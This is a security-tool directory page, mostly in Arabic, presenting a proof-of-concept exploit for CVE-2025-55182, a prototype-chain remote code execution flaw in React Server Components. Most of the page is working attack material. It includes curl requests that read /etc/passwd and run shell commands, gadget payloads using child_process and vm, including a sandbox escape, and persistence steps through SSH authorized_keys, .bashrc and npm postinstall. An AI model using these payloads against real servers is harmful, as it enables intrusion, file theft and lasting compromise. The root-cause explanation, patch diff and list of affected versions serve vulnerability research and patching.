Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-55182-poc | Kitploit
أدوات/GitHubGitHub/ducducuc111/cve-2025-55182-poc
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubducducuc111/cve-2025-55182-poc

CVE-2025-55182-poc

عرض المستودع
منذ 8 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-55182 - ثغرة سلسلة النماذج الأولية في مكونات خادم React

يُظهر هذا الإثبات المفاهيمي (POC) CVE-2025-55182 باستخدام الكود الفعلي المعرّض للثغرة [email protected].

بدء سريع

root@kitploit:~
# Install dependencies
npm install

# Start vulnerable server (port 3002)
npm start

# Run RCE exploit
npm run exploit

المخرجات المتوقعة

root@kitploit:~
=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

سكربتات NPM

root@kitploit:~
# Servers
npm start              # Start main server (server-realistic.js, port 3002)
npm run start:legacy   # Start legacy server (server.js, port 3002)

# Exploits
npm run exploit            # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all        # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)

اختبار الأدوات الفردية

root@kitploit:~
# Start server first
npm start

# Test fs read
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Test command execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# Test vm code execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

الملفات الرئيسية

الخوادم

الملفالمنفذالوصف
src/server-realistic.js3002الخادم الرئيسي - يحاكي حزمة webpack مع وحدات شائعة (fs, vm, child_process)
src/server.js3002خادم قديم (يستخدم استدعاء require مباشرة)

سكربتات الاستغلال

الملفالوصف
exploit-rce-v4.jsاستغلال RCE الأساسي عبر vm#runInThisContext
exploit-all-gadgets.jsيختبر جميع أدوات RCE (vm, child_process, fs)
exploit-persistence.js

كيف يعمل server-realistic.js

يحاكي حزمة webpack حقيقية حيث تقوم التطبيقات عادةً بتضمين وحدات خطيرة عبر التبعيات:

root@kitploit:~
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* user's server actions */ },
  'fs': require('fs'),           // via fs-extra, gray-matter, multer
  'child_process': require('child_process'), // via execa, shelljs, puppeteer
  'vm': require('vm'),           // via ejs, pug, handlebars
  'util': require('util'),
};

دالة __webpack_require__ تحمّل الوحدات فقط من BUNDLED_MODULES، لمحاكاة سلوك webpack الحقيقي.

الثغرة

السبب الجذري

في requireModule()، يتم الوصول إلى الصادرات عبر ترميز الأقواس بدون فحص hasOwnProperty:

root@kitploit:~
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]];  // Accesses prototype chain!

// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

ناقل الهجوم

  1. أرسل $ACTION_REF_0 مع بيانات وصفية للإجراء المرتبط (bound action)
  2. id: 'vm#runInThisContext' يحمّل وحدة vm، ويصل إلى التصدير runInThisContext
  3. مصفوفة bound تصبح وسائط للدالة
  4. عند استدعاء الإجراء: runInThisContext(CODE) ينفّذ كودًا عشوائيًا

جميع أدوات RCE المؤكدة

أمثلة على حمولات الأدوات (Gadget Payloads)

تنفيذ أمر شل (whoami):

root@kitploit:~
{ id: 'child_process#execSync', bound: ['whoami'] }

قراءة ملفات حساسة:

root@kitploit:~
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }

كتابة ملفات على القرص:

root@kitploit:~
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }

تنفيذ JavaScript عشوائي:

root@kitploit:~
{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}

الهروب من بيئة العزل (Sandbox) عبر vm.runInNewContext:

root@kitploit:~
{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}

مسارات هجوم بديلة

هل تحتاج إلى vm أو child_process؟

للوصول المباشر إلى RCE: نعم، تحتاج إلى أحد الخيارات التالية:

  • وحدة vm (runInThisContext, runInNewContext)
  • وحدة child_process (execSync, execFileSync, spawnSync)

للوصول غير المباشر إلى RCE (باستخدام fs فقط): لا! باستخدام fs فقط يمكنك:

  • الكتابة إلى ~/.ssh/authorized_keys → وصول عبر SSH
  • الإلحاق بـ ~/.bashrc → تنفيذ كود عند تسجيل الدخول التالي
  • الكتابة فوق node_modules/* → RCE عند إعادة تشغيل التطبيق
  • تعديل postinstall في package.json → RCE عند تثبيت npm التالي

نتائج المقارنة

الإصدارالهجومالنتيجة
React 19.0.0vm#runInThisContext✓ تم تحقيق RCE
React 19.2.1vm#runInThisContext✗ تم الحظر

اختبار النسخة المصححة

root@kitploit:~
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail

حزم npm المعرّضة للثغرة

انظر VULNERABLE-PACKAGES.md للبحث حول حزم npm الشائعة التي تتضمن وحدات خطيرة:

الوحدةالتنزيلات الأسبوعيةالحزم الشائعة
fs145M+fs-extra, gray-matter, multer, sharp

الإصدارات المتأثرة

  • react-server-dom-webpack: < 19.2.0
  • react-server-dom-turbopack: < 19.2.0

الإصدارات المصححة

  • react-server-dom-webpack: >= 19.2.0
  • react-server-dom-turbopack: >= 19.2.0
  • Next.js: 15.0.5+
تنزيل الأداة
هجمات الثبات (مفاتيح SSH, .bashrc)
الأداة (Gadget)الحالةالوصف
vm#runInThisContext✓تنفيذ JavaScript عشوائي في السياق الحالي
vm#runInNewContext✓تنفيذ في "sandbox" (يمكن تجاوزه بسهولة)
child_process#execSync✓تنفيذ أوامر شل مباشرة
child_process#execFileSync✓تنفيذ ملفات ثنائية
child_process#spawnSync✓بدء عملية (تُرجع كائنًا)
fs#readFileSync✓قراءة ملفات عشوائية
fs#writeFileSync✓كتابة ملفات عشوائية
child_process103M+execa, shelljs, puppeteer, sharp
vm21M+ejs, pug, handlebars, vm2